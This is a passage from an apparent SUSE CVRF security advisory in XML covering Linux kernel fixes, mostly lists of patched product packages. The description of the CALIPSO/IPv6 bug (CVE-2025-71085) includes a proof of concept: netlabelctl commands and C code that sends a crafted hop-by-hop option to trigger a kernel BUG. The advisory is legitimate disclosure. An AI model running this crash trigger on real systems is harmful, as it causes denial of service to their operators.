        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-71081.html</URL>
        <Description>CVE-2025-71081</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256609</URL>
        <Description>SUSE Bug 1256609</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="28">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

drm/ttm: Avoid NULL pointer deref for evicted BOs

It is possible for a BO to exist that is not currently associated with a
resource, e.g. because it has been evicted.

When devcoredump tries to read the contents of all BOs for dumping, we need
to expect this as well -- in this case, ENODATA is recorded instead of the
buffer contents.</Note>
    </Notes>
    <CVE>CVE-2025-71083</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-71083.html</URL>
        <Description>CVE-2025-71083</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256610</URL>
        <Description>SUSE Bug 1256610</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="29">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead &lt; 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom &gt; INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) &lt; 0).

The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom &gt; skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom &gt; INT_MAX and delta &lt;= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.

PoC:
	Using `netlabelctl` tool:

        netlabelctl map del default
        netlabelctl calipso add pass doi:7
        netlabelctl map add default address:0::1/128 protocol:calipso,7

        Then run the following PoC:

        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

        // setup msghdr
        int cmsg_size = 2;
        int cmsg_len = 0x60;
        struct msghdr msg;
        struct sockaddr_in6 dest_addr;
        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                        sizeof(struct cmsghdr) + cmsg_len);
        msg.msg_name = &amp;dest_addr;
        msg.msg_namelen = sizeof(dest_addr);
        msg.msg_iov = NULL;
        msg.msg_iovlen = 0;
        msg.msg_control = cmsg;
        msg.msg_controllen = cmsg_len;
        msg.msg_flags = 0;

        // setup sockaddr
        dest_addr.sin6_family = AF_INET6;
        dest_addr.sin6_port = htons(31337);
        dest_addr.sin6_flowinfo = htonl(31337);
        dest_addr.sin6_addr = in6addr_loopback;
        dest_addr.sin6_scope_id = 31337;

        // setup cmsghdr
        cmsg-&gt;cmsg_len = cmsg_len;
        cmsg-&gt;cmsg_level = IPPROTO_IPV6;
        cmsg-&gt;cmsg_type = IPV6_HOPOPTS;
        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

        sendmsg(fd, &amp;msg, 0);</Note>
    </Notes>
    <CVE>CVE-2025-71085</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
